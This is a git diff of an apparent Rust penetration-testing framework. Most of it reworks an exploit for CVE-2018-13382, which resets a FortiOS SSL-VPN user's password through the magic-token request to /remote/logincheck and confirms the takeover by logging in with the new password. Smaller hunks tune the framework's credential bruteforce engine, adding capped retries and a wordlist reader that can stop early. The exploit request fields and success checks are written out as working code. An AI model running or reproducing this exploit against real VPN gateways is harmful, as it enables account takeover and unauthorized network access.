+ match verify_login(&client, &base_url, &username, &new_password).await { + LoginResult::Success => { + crate::mprintln!( + "{} Login with the new password CONFIRMED — password reset succeeded!", + "[+]".green().bold() + ); + crate::mprintln!("{} New password: {}", "[+]".green(), new_password); + outcome.findings.push(Finding { + target: target_ip.clone(), + kind: FindingKind::Vulnerable, + message: format!( + "CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token (confirmed by login)", + username + ), + data: Some(serde_json::json!({ + "cve": "CVE-2018-13382", + "username": username, + "magic_value": MAGIC_VALUE, + "new_password": new_password, + "endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')), + "confirmed": "login_with_new_password", + })), + }); + } + LoginResult::Failed(reason) => { + crate::mprintln!( + "{} Reset NOT confirmed — login with the new password failed ({}). Target is likely patched / not vulnerable.", + "[-]".red(), + reason + ); + } + LoginResult::Error(e) => { + crate::mprintln!("{} Verification request error: {}", "[-]".red(), e); + } + } + } } } @@ -476,9 +495,19 @@ async fn attempt_magic_reset( ) -> ResetResult { let url = format!("{}/remote/logincheck", base_url.trim_end_matches('/')); + // The magic-token reset reuses the SSL-VPN login endpoint; the new password is + // carried in `credential` (same field the login uses), with `magic` flipping + // the request into a password set. `new_password`/`confirm_password` are kept + // for FortiOS builds that used those names. NOTE: the canonical magic value + + // exact field set vary by FortiOS version and want validation against a real + // vulnerable target — but correctness no longer depends on the reset response + // (success is confirmed by a follow-up login below), so a wrong field here can + // only cause a false NEGATIVE, never a false positive. let form_body = url::form_urlencoded::Serializer::new(String::new()) .append_pair("username", username) + .append_pair("realm", "") .append_pair("magic", MAGIC_VALUE) + .append_pair("credential", new_password) .append_pair("new_password", new_password) .append_pair("confirm_password", new_password) .finish(); @@ -501,22 +530,19 @@ async fn attempt_magic_reset( Err(e) => return ResetResult::Error(format!("Failed to read response: {}", e)), }; - // Analyze response for success/failure indicators + // Differential-response classification — used ONLY to colour user enumeration. + // Crucially, the ordinary FortiOS login response (ret=0 / ret=1 / redir=) is + // NOT treated as a reset success: that false-flagged PATCHED hosts (whose + // normal login response contains ret=1/redir=) as vulnerable. A real reset is + // confirmed solely by a follow-up login with the new password (see callers). if body.contains("successful") || body.contains("password changed") || body.contains("reset ok") { ResetResult::Success } else if body.contains("vpn portal group") || body.contains("group membership") || body.contains("not member") { ResetResult::NotInVpnGroup } else if body.contains("user not found") || body.contains("invalid user") || body.contains("no such user") { ResetResult::UserNotFound - } else if body.contains("invalid") || body.contains("denied") || body.contains("forbidden") { - // Generic rejection - likely patched - ResetResult::Patched - } else if body.contains("ret=1") || body.contains("redir=") { - // FortiOS often returns ret=1 with a redirect on success - ResetResult::Success } else { - // Ambiguous - check HTTP status and common FortiOS patterns - // Some versions return an empty body or HTML on success + // Anything else (incl. ret=1/redir=) is inconclusive — confirm via login. ResetResult::Patched } } @@ -556,17 +582,18 @@ async fn verify_login( let body_lower = body.to_lowercase(); - // FortiOS login success indicators - if body_lower.contains("redir=") || body_lower.contains("ret=1") || status.as_u16() == 200 { - if body_lower.contains("ret=0") || body_lower.contains("failed") || body_lower.contains("invalid") { - LoginResult::Failed("Server returned failure indicator".to_string()) - } else { - LoginResult::Success - } + // FortiOS /remote/logincheck returns `ret=1,redir=...` on a SUCCESSFUL login + // and `ret=0` on failure. Require the `ret=1` success token — a bare HTTP 200 + // (the login page itself) is NOT proof of authentication, and treating it as + // success was the second half of the false-positive chain. + if body_lower.contains("ret=1") { + LoginResult::Success + } else if body_lower.contains("ret=0") { + LoginResult::Failed("server returned ret=0 (auth rejected)".to_string()) } else if status.as_u16() == 401 || status.as_u16() == 403 { LoginResult::Failed(format!("HTTP {}", status)) } else { - LoginResult::Failed(format!("Unexpected response (HTTP {})", status)) + LoginResult::Failed(format!("no ret=1 success marker (HTTP {})", status)) } } diff --git a/src/utils/bruteforce.rs b/src/utils/bruteforce.rs index e6120f7..7b5b6df 100644 --- a/src/utils/bruteforce.rs +++ b/src/utils/bruteforce.rs @@ -1184,9 +1184,17 @@ where let pass_path_owned = pass_path.to_string(); let reader_handle = tokio::task::spawn_blocking(move || { - crate::utils::load_lines_batched(&pass_path_owned, BATCH_SIZE, |batch| { - if let Err(e) = batch_tx.blocking_send(batch) { - tracing::debug!("Batch send failed (receiver dropped?): {}", e); + // `_until`: stop reading the moment the receiver is gone. With the old + // `load_lines_batched` an early return from the loop below (e.g. stop on + // first success) dropped the receiver but the reader kept scanning the + // whole multi-GB file, firing a failed `blocking_send` per batch. + crate::utils::load_lines_batched_until(&pass_path_owned, BATCH_SIZE, |batch| { + match batch_tx.blocking_send(batch) { + Ok(()) => true, + Err(e) => { + tracing::debug!("Batch send failed (receiver dropped?): {}", e); + false + } } }) }); diff --git a/src/utils/creds_helper.rs b/src/utils/creds_helper.rs index 3c2c421..ff0af93 100644 --- a/src/utils/creds_helper.rs +++ b/src/utils/creds_helper.rs @@ -260,10 +260,20 @@ where let jitter_ms = opt_u64("bruteforce_jitter_ms"); // medusa `-r`-style connection retries: `setg bruteforce_retries N` re-tries a - // retryable (transient/connection) error up to N times before giving up on a - // combo. Defaults to 1 when unset or zero (the historical behaviour). - let retries = opt_u64("bruteforce_retries"); - let max_retries = if retries == 0 { 1 } else { retries as usize }; + // retryable (transient/connection) error up to N times per combo. Unset → 1 + // (historical default); explicit 0 → no retries; clamped to a sane ceiling so + // a fat-fingered huge value can't turn one combo into a billion attempts. + const MAX_BRUTEFORCE_RETRIES: usize = 10; + let max_retries = match opt_str("bruteforce_retries") { + None => 1, + Some(s) => match s.trim().parse::() { + Ok(n) => n.min(MAX_BRUTEFORCE_RETRIES), + Err(e) => { + tracing::debug!("bruteforce_retries '{}' invalid ({e}); using 1", s.trim()); + 1 + } + }, + }; let bf_config = BruteforceConfig { target: host.clone(), diff --git a/src/utils/mod.rs b/src/utils/mod.rs index 5a1532c..dd33377 100644 --- a/src/utils/mod.rs +++ b/src/utils/mod.rs @@ -131,6 +131,7 @@ pub use modules::{ pub use wordlist::{ load_lines, load_lines_batched, + load_lines_batched_until, load_lines_cached, load_lines_uncapped, }; diff --git a/src/utils/wordlist.rs b/src/utils/wordlist.rs index 7b19412..e4de12e 100644 --- a/src/utils/wordlist.rs +++ b/src/utils/wordlist.rs @@ -637,6 +637,47 @@ where Ok(total) } +/// Like [`load_lines_batched`] but the callback returns `true` to continue or +/// `false` to STOP reading the file. Lets a consumer (e.g. the streaming +/// bruteforce driver whose channel receiver was dropped) halt the read instead +/// of scanning a multi-GB wordlist to the end for nothing. +pub fn load_lines_batched_until( + path: P, + batch_size: usize, + mut on_batch: F, +) -> Result +where + P: AsRef, + F: FnMut(Vec) -> bool, +{ + let file = fs::File::open(path.as_ref()) + .with_context(|| format!("Failed to open file '{}'", path.as_ref().display()))?; + let reader = BufReader::with_capacity(256 * 1024, file); + let mut total = 0usize; + let mut batch = Vec::with_capacity(batch_size); + for line in reader.lines() { + let line = match line { + Ok(l) => l.trim().to_string(), + Err(e) => { tracing::trace!("skipping non-UTF-8 wordlist line: {e}"); continue; } + }; + if line.is_empty() { + continue; + } + batch.push(line); + if batch.len() >= batch_size { + total += batch.len(); + if !on_batch(std::mem::replace(&mut batch, Vec::with_capacity(batch_size))) { + return Ok(total); + } + } + } + if !batch.is_empty() { + total += batch.len(); + on_batch(batch); + } + Ok(total) +} + /// Load lines from a file without the 100 MB cap. /// For wordlists that may be very large. pub fn load_lines_uncapped>(path: P) -> Result> {